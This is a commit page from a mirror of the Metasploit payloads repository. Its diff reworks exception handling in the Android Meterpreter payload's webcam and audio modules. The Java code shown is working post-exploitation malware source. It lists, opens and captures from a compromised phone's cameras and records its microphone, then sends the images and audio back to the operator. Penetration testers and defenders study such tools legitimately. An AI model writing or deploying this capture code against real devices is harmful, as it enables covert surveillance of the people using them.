github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00
Code Releases Activity

fix silly exception handling

Browse Source
This commit is contained in:
Tim 2014-02-19 00:25:37 +00:00
parent 1c34b863a3
commit 021532869e
5 changed files with 144 additions and 174 deletions

19
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_audio_record_android.java

@ -1,18 +1,17 @@
package com.metasploit.meterpreter.android;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder.AudioSource;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder.AudioSource;
import android.util.Log;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
public class webcam_audio_record_android extends webcam_audio_record implements Command {
@ -28,7 +27,6 @@ public class webcam_audio_record_android extends webcam_audio_record implements
ByteArrayOutputStream baos = new ByteArrayOutputStream();
AudioRecord recorder = null;
try {
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
@ -61,14 +59,9 @@ public class webcam_audio_record_android extends webcam_audio_record implements
da.write(buffer);
da.flush();
} catch (Throwable x) {
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
} finally {
if (recorder != null) {
recorder.stop();
recorder.release();
}
}
response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
return ERROR_SUCCESS;
}

9
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java

@ -1,19 +1,15 @@
package com.metasploit.meterpreter.android;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
import android.hardware.Camera.PictureCallback;
import android.util.Log;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import java.lang.Exception;
public class webcam_get_frame_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
@ -26,7 +22,6 @@ public class webcam_get_frame_android extends webcam_audio_record implements Com
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
try {
if (webcam_start_android.camera == null) {
return ERROR_FAILURE;
}
@ -59,9 +54,7 @@ public class webcam_get_frame_android extends webcam_audio_record implements Com
if (cameraData != null) {
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
} else {
return ERROR_FAILURE;
}

6
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java

@ -6,8 +6,6 @@ import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@ -17,7 +15,6 @@ public class webcam_list_android extends webcam_audio_record implements Command
private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Object cameraInfo = null;
Field field = null;
@ -48,9 +45,6 @@ public class webcam_list_android extends webcam_audio_record implements Command
}
}
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}

9
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java

@ -5,7 +5,6 @@ import android.content.Context;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.os.Handler;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.WindowManager;
@ -29,7 +28,6 @@ public class webcam_start_android extends webcam_audio_record implements Command
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
if (cameraOpenMethod != null) {
@ -60,7 +58,10 @@ public class webcam_start_android extends webcam_audio_record implements Command
if (camera == null) {
return;
}
try {
camera.startPreview();
} catch (Exception e) {
}
synchronized (webcam_start_android.this) {
webcam_start_android.this.notify();
}
@ -86,10 +87,6 @@ public class webcam_start_android extends webcam_audio_record implements Command
wait(4000);
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}

7
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java

@ -6,23 +6,16 @@ import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
public class webcam_stop_android extends webcam_audio_record implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
if (webcam_start_android.camera != null) {
webcam_start_android.camera.stopPreview();
webcam_start_android.camera.release();
webcam_start_android.camera = null;
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}